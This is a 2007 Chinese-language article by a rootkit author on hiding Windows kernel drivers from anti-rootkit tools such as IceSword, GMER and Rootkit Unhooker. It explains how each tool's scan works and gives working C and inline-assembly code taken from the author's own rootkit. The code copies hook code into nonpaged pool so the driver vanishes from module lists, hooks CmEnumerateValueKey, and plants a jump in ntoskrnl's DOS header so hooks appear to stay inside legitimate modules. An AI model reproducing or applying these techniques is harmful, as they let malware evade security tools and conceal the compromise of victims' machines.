饶过现代Anti
-
Rookit工具的内核模块扫描
(
Bypass modern anti
-
rootkit tools
's kernel mode scan)
MJ0011
th_decoder@126
.
com
2007
-
10
-
24
本文描述了一些方法,可以饶过目前主流的现代Anti
-
rootkit工具,包括但不限于
:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti
-
rootkit最新版
等等
目前的anti
-
rootkit工具中,对于内核模块主要采用如下几种扫描方式
:
1.
恢复ZwQuerySystemInformation的hook
,
然后利用功能号SystemModuleInformation进行枚举
例如Icesword
2.
遍历PsLoadModuleList
,
Driver
/
Device
/
Section Object链
,
或者TypeList链等
(
总之是找驱动相关对象
)
进行枚举
例如Rootkit Unhooker
,
Gmer等
3.
内核镜象暴力搜索
,
搜索MZ
,
PE等等标志结合进行判断内存里是否有PE镜象
,
如rootkit unhooker
,
rutkowska的modgreper等,通常只能显示为unknow image
4.
函数引用
,
各种routine\hook等
,
先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用
,
或者是根据各种 routine
(
dispatch routine
,
IDT
,
Image Notfiy等
)
或各种hook
(
inline
hook
,
iat
/
eat hook等等
)
,通常只能显示为unknow image或unknow xxx handler等
5.
使用系统ImageLoad Notfiy
,
使用一个BOOT驱动,记录所有模块load的消息
,
检测时进行分析 如AVG Anti
-
rootkit等
先说饶过
1
,
2
,
3
,
5
的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码
/
函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL
.
这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里
需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法
我的某个RK里是这样做的,例如A Function用来hook 系统函数B
,
其中需要调用系统函数C,
那么分配一块内存,大小
=
len
(
A
) +
sizeof
(
ULONG
) *
2
在内存的前两个DWORD放OrgB
,
以及C的地址,后面开始放函数代码
函数中使用call
+
5
对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C
当然也可以在COPY入内存前自己用绝对地址定位函数
~
不过不如这个方法灵活
相关代码
:
//hook call CmEnumerateValueKey
void
InstallCMRegHook
()
{
PVOID _CmEnumerateKeyValueLoc
;
_CmEnumerateKeyValueLoc
=
FindCmEnumerateValueKey
();
//找到 call CmEnumerateValueKey
HookCodeLen
= (
ULONG
)
NopFunc8
- (
ULONG
)
NewCmEnumerateValueKey
;
//获得NewCmEnumerateValueKey长度
HookCode3
=
ExAllocatePoolWithTag
(
NonPagedPool
,
HookCodeLen
+
4
,
MEM_TAG_HOOKCODE3
);
//分配内存
*(
ULONG
*)
HookCode3
= *(
ULONG
*)
_CmEnumerateKeyValueLoc
;
//原函数地址放入内存
RtlCopyMemory
((
PVOID
)
HookCode3
+
sizeof
(
ULONG
) , (
PVOID
)
NewCmEnumerateValueKey
,
HookCodeLen
);
//copy函数代码
DO_SPINLOCK
();
*(
ULONG
*)
_CmEnumerateValueKeyLoc
=
HookCode3
+
sizeof
(
ULONG
);
//进行HOOK
EXIT_SPINLOCK
();
return
;
}
NTSTATUS NewCmEnumearateValueKey
(
IN PVOID KeyControlBlock
,
IN ULONG Index
,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass
,
IN PVOID KeyValueInformation
,
IN ULONG KeyLength
,
IN PULONG ResultLength
)
{
//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址
__asm
{
push eax
call __
__
:
POP eax
SUB eax
,
offset __
add eax
,
offset NewCmEnumearateValueKey
;
获得函数开始地址
sub eax
,
4
mov eax
,[
eax
]
;
获得OrgCmEnumerateValueKey
push ResultLength
push KeyLength
push KeyValueInformation
push KeyValueInformationClass
push Index
push KeyControlBlock
call eax
mov stat
,
eax
;
调用原始函数
pop eax
}
//.....其他处理
//
//.....
}
void
NopFunc8
()
{
__asm
{
nop
nop
nop
}
return
;
}
//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位
这样,基于ZwQuerySystemInformation
,
PsLoadModuleList
,
对象目录,Type链
,
ImageLoad
,
暴力PE搜索
(
因为我们压根就没有PE镜象
,
just one piece of code
~)...
接下来看如何饶过
4.
中的检测方式
1.Hook
常用函数
:
这个很简单了,恢复自己要用的函数
~
或者压根就不用那些函数,HOOK代码大部分都是数据过滤
/
处理部分,所以完全可以一个系统函数也不调
...
2.
各种routine检测,这个可以用多次跳转方式搞定,例如Dispatch hook
,
因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法,所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中
(
类似的还有object hook
,
pxxxx hook等
),
使用此方法的例如rootkit unhooker
,
gmer等
只要我们先使用这样的方法,就可以饶过检测,让Anti
-
rootkit工具不知道是我们的模块HOOK了这里
:
先将dispatch地址跳转到code section中不用的部分,
5
个字节就足够了,然后在这
5
个字节里使用jmp指令再跳到我们的模块里,这样Anti
-
rootkit工具检测时
,
就会发现dispatch routine仍然在该模块的code section中
通过这种方法也可以饶过对dispatch hook\object hook的检测
inline
hook
/
iat
/
eat hook也可以用类似的方法来躲过模块检测,不过无法避免HOOK被检测到
^-^
即使Anti
-
rootkit工具使用更复杂的算法,对各个routine进行深度代码级扫描
,
我们也可以通过复杂逻辑/代码,将我们的最后跳转地址藏起来:)
一个简单的双段跳饶过object hook检测的代码
:
object hook方法因为未被公开过,故细节略去,方便起见,没有写找code section的代码,直接将跳转代码写到了ntoskrnl的DOS Header中
同样来自于我的某RK
:
ULONG InsideHookCode
(
ULONG NewAddress
,
ULONG BaseCode
)
{
//该函数用于将hook代码转接到模块的DOS头中
//in :NewAddress: real hookcode to jump
//in :ModuleName: kernel module base address to inject
//out :NewJump Address
ULONG TempCode
=
BaseCode
;
TempCode
=
TempCode
+
sizeof
(
IMAGE_DOS_HEADER
) ;
//into DOS stub
DO_SPINLOCK
();
WPOFF
();
*(
BYTE
*)
TempCode
=
0xe9
;
__asm
{
push eax
push ecx
mov ecx
,
TempCode
mov eax
,
NewAddress
sub eax
,
ecx
sub eax
,
5
mov dword ptr
[
ecx
+
1
] ,
eax
pop ecx
pop eax
}
WPON
();
EXIT_SPINLOCK
();
//write jmp NewAddress into DOS stub
return
TempCode
;
}